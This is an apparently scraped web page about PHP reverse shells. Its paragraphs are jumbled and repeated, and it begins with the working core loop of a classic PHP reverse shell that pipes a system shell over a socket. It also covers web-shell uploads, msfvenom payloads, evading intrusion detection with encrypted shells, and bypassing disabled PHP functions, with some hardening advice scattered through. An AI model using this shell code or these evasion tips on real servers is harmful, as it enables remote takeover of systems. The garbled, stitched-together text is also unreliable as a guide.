Reverse Shell Php Top -
array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w") ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) exit(1); stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); while (1) if (feof($sock)) break; if (feof($pipes[1])) break; $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_streams = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) $input = fread($sock, $chunk_size); fwrite($pipes[0], $input); if (in_array($pipes[1], $read_a)) $input = fread($pipes[1], $chunk_size); fwrite($sock, $input); if (in_array($pipes[2], $read_a)) $input = fread($pipes[2], $chunk_size); fwrite($sock, $input); fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); ?> Use code with caution. 2. The Simple Web Shell (Command Execution)
: An attacker finds a spot on a website—like a profile picture uploader or a resume submission form—that doesn't properly check what kind of file is being uploaded. The Payload
For a comprehensive list of reverse shells in various languages, refer to the PayloadsAllTheThings GitHub repository .
Ideal for smaller injection fields (e.g., in a eval() function or command injection). reverse shell php top
A reverse shell works by initiating an outbound connection from the target server back to the attacker's machine, effectively bypassing firewall rules that typically restrict incoming traffic.
These are the most reliable, commonly used PHP reverse shell techniques, often found in popular repositories like PentestMonkey . A. The Classic PHP Reverse Shell
In php.ini , disable functions like exec , shell_exec , system , passthru , proc_open , and fsockopen if they are not necessary for the application. array("pipe", "r"), 1 => array("pipe", "w"), 2 =>
if (in_array($pipes[1], $read_a)) $output = fread($pipes[1], $chunk_size); fwrite($sock, $output);
Perhaps the most famous and comprehensive PHP reverse shell, this script handles error redirection, allows for interactive commands, and is highly reliable. It is considered the "standard" in many penetration testing environments. Highly stable, handles interactive commands well.
Use File Integrity Monitoring (FIM) tools like Tripwire, AIDE, or custom git-based checks to ensure that no new, unauthorized PHP files have been created inside the web directories. Hardening and Mitigation: How to Prevent Reverse Shells The Payload For a comprehensive list of reverse
Plaintext traffic is easily detected by IDS/IPS (Snort rules looking for bash -i or id; ). An SSL-encrypted shell looks like regular HTTPS traffic.
Metasploit’s msfvenom tool allows analysts to generate obfuscated or highly structured PHP payloads dynamically.
If system() -like functions are disabled, injection might still be possible. Tools like php_injector allow an attacker to inject and execute raw PHP code directly, bypassing the need for dangerous system command functions. Prebuilt templates help with tasks like directory listing, file reading, and database exploration, all through the interpretation of PHP itself.
The most minimal form is a single line of PHP code executed directly from the command line. It is often the first payload a penetration tester will try.
To detect and prevent PHP reverse shells, consider the following:
